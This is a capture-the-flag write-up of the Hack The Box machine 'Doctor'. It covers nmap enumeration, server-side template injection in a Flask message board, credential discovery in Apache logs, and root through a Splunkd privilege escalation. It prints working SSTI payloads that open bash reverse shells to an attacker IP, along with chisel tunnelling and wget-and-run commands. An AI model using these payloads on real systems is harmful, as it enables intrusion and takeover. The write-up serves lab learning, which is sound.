HTB Doctor

2021-03-04

Doctor has a “secure” message board system that allows us to gain code execution. From there, we access logs, find credentials, and privilege escalate to root by taking advantage of our local access to Spulnkd.

Enumeration

sudo nmap -sC -sV 10.10.10.209 -oA Doctor
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-18 19:07 UTC
Nmap scan report for 10.10.10.209
Host is up (0.11s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We begin our enumeration with nmap. We find that port 22 is open for ssh 8080 for a web server and 8089 is running splunkd. 8089 looks interesting but when we attempt to connect were are unsuccessful. I could have gotten a bit further here but we end up coming back to it later. Instead, we got to check out the website on port 80.

Port 80

We navigate to http://10.10.10.209/ and find a web page.

Looking through this site we can find a few potentially useful pieces of information. The names of a number of doctors are listed which might equate to possible usernames. We also notice an interesting email address. info@doctors.htb

This is interesting because based on the name of this box the domain of the site we are on is probably doctor.htb and this email references another domain name. We edit our /etc/hosts file to include both of these two sites.

10.10.10.209 doctor.htb doctors.htb

Sure enough, doctor.htb points to the site we found. doctors.htb, takes us to a new site.

Here we see a login form for “Doctor Secure Messaging”. We don’t have any credentials at this time. info@doctors.htb might be a username but we don’t have any idea about the password. Instead, we opt to create an account. We create an account and are told that it will exist for 20 minutes

We are able to create messages that are then shared for us and other logged in users to see. We also have access to a profile page but don’t seem to be able to edit any information there.

We go back and take another look at the message posting function. We don’t see anything obvious here but we do find something interesting in the source code.

We head to http://doctors.htb/archive and are greeted by a blank page. Doesn’t seem to be anything interesting here. We go back to the message creation system and looking through the source good find reference to Werkzeug, a python web application library. https://werkzeug.palletsprojects.com/en/1.0.x/

Now that we know a bit more about what we are looking at. We start to do some more research on what types of vulnerabilities we might be able to exploit. Server Side Template Injection catches our eye

We reference fantastic resource called PayloadsAllTheThings to find something get an idea of how to format our injection. We find a fairly simple one {{7 * 7}} We enter it in to the title section and then create the message to see if we can see a result.

And unfortunately, we find nothing. We try our injection in the content section and again have no results that we can see. We starting looking around, expanding our search in an effort to locate where we can trigger our code to execute. Then, we notice something. The Archive page isn’t empty as we first thought. The content just isn’t rendered by the browser. In fact, it displays the titles of the currently posted messages.

We set our title back to {{7 * 7}} and check to see if it shows up on this page.

Success! Now we just need to find a way to get a reverse shell out of this.

We refer back to the PayloadsAllTheThings GitHub repository and see if there is anything that might lead to a revers shell. Sure enough there is but it doesn’t seem to function for us.

We then turn back to google and look for examples of Server Side Template Injection in python. Takes a bit of research but we eventually find and modify something to result in the below code.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.28/4678 0>&1'").read().zfill(417)}}{%endif%}{% endfor %}

This second one is a bit smaller, neater, and also works according to what I am told.

{{request.application.__globals__.__builtins__.__import__('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.19/4678 0>&1'").read()}}

Whichever you opt for, set up a netcat listener, modify the payload to the appropriate ip and port, create a message with the payload set as the title and then load the archive page. If all goes well, you should get a shell.

User

First thing we do is nicen up our shell just a bit by spawning a python pusdo terminal.

python3 -c 'import pty; pty.spawn ("/bin/bash")'

Then we start working on enumeration. One of ther every first things worth checking is the groups that your current user is in.

web@doctor:~$ id
id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)

The adm group looks interesting. Adm is a group that be used to monitor system tasks. Those in this group may read much of the log files stored in /var/log. The name of the group apparently is due to /var/log being named /usr/adm initially.

Logs can contain a lot of potentially useful info. The challenge is there is a lot of data to parse. We try grepping for username, password, and shaun, who we guess to be the user we are looking for based on the /home directory but come up empty.

Eventuall,y we start sifting through the appache2 logs and notice a helpfully named, ‘backup’ file. We start reading though it and find record of a password reset request.

/var/logs/apache2/backup
...
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

It seems that Guitar123 could be useful. We attempt to su to shaun and are authenticated successfully. Collect and submit user.txt and we are ready to proceed.

Root

Now that we have user it is time for us to go back… back to the beginning… It’s time to take second look at Splunk.

I ended up running around in quite a few rabbit holes here. First off I wasn’t able to establish a connection to http://10.10.10.209:8089/ The connection was reset as the page was loading according to Firefox. My first idea was that we needed to portforward. Maybe though we could see it publicly, but for some reason it was configured to only allow connections from localhost.

Chisel Rabbit hole

Server (Our machine)

chisel server -p 8000 -reverse

Client (Doctor)

shaun@doctor:/dev/shm$ ./chisel client 10.10.14.28:8000 R:2345:0.0.0.0:8089
./chisel client 10.10.14.28:8000 R:2345:0.0.0.0:8089
2020/10/21 04:55:28 client: Connecting to ws://10.10.14.28:8000
2020/10/21 04:55:29 client: Fingerprint c3:89:2b:51:c4:ea:9f:ba:5c:16:ee:70:e1:73:a3:54
2020/10/21 04:55:29 client: Connected (Latency 99.441373ms)

Chisel is up and port forwarding is successful. We attempt again but have the same result. :-(

The right path… somewhat.

After far too long. We attempt to use HTTPS instead of HTTP to connect. We are then prompted to accept or reject and un trusted certificate. Accept, and we are connected.

Now that we have access we look around a bit and are quickly greeted by a login prompt. Enter Shaun’s credentials however, and we are granted access. Now we just need to find an exploit. I initially look for a Splunk Exploit. We find an entry on Exploit DB that requires authentication, no problem for us. And we get it running.

This is a bit tricky because of the fact that the Firefox binary on our path actually is just a shell script that references the real binary. Selinum has some problems with this as described in a GitHub issue.

We work around it by temporarily adding the path to the actual Firefox binary to the front of our path

 export PATH=/usr/lib/firefox/:$PATH
 python2 SplunkExploit.py http://10.10.10.209:8089/ shaun Guitar123 10.10.14.28 4689

We are again met with disappointment. Then we notice that we aren’t actually attempting to exploit the Splunk Web server but rather the Splunkd service.

Actually root

We refine our search and find this GitHub repository.

It is a local privilege escalation that leverages Splunkd, creating a malicious Splunk app. That sounds much more like what we need.

We copy it into a file on our Attacker machine and modify the base64 encoded credentials to be shaun:Guitar123 instead of the default admin:changeme

We then stand up python http server in the directory where we have the script.

sudo python -m http.server 80

Then we wget it over, mark it as executable, and run the script.

wget http://10.10.14.19/script.py
chmod +x script.py
./script.py

It directs us to run ta file it created and then clean up after ourselves.

And just like that we are root.

Wrap up

I overall really liked this box. I learned some new things in the form of Server Side Template Injection and enjoyed privilege escalation. Lots of enumeration and paying attention was required on this box. I definitely missed that a few times and ended up in rabbit holes.

I did kind of dislike the time limit on the accounts. It was a pain to get much research done. It seemed, every time I came back from an article with something new to try I needed to create a new account. The other challenge was this was in a shared space. Part of the time I was working on the box there was another use present. I was concerned not only about inadvertently spoiling the foothold but also found it difficult to get a shell while they attempted various things. It often seemed to break the archive page.

Once again thought I really enjoyed this box. Thanks egotisticalSW for making it!

HTB Passage

HTB Omni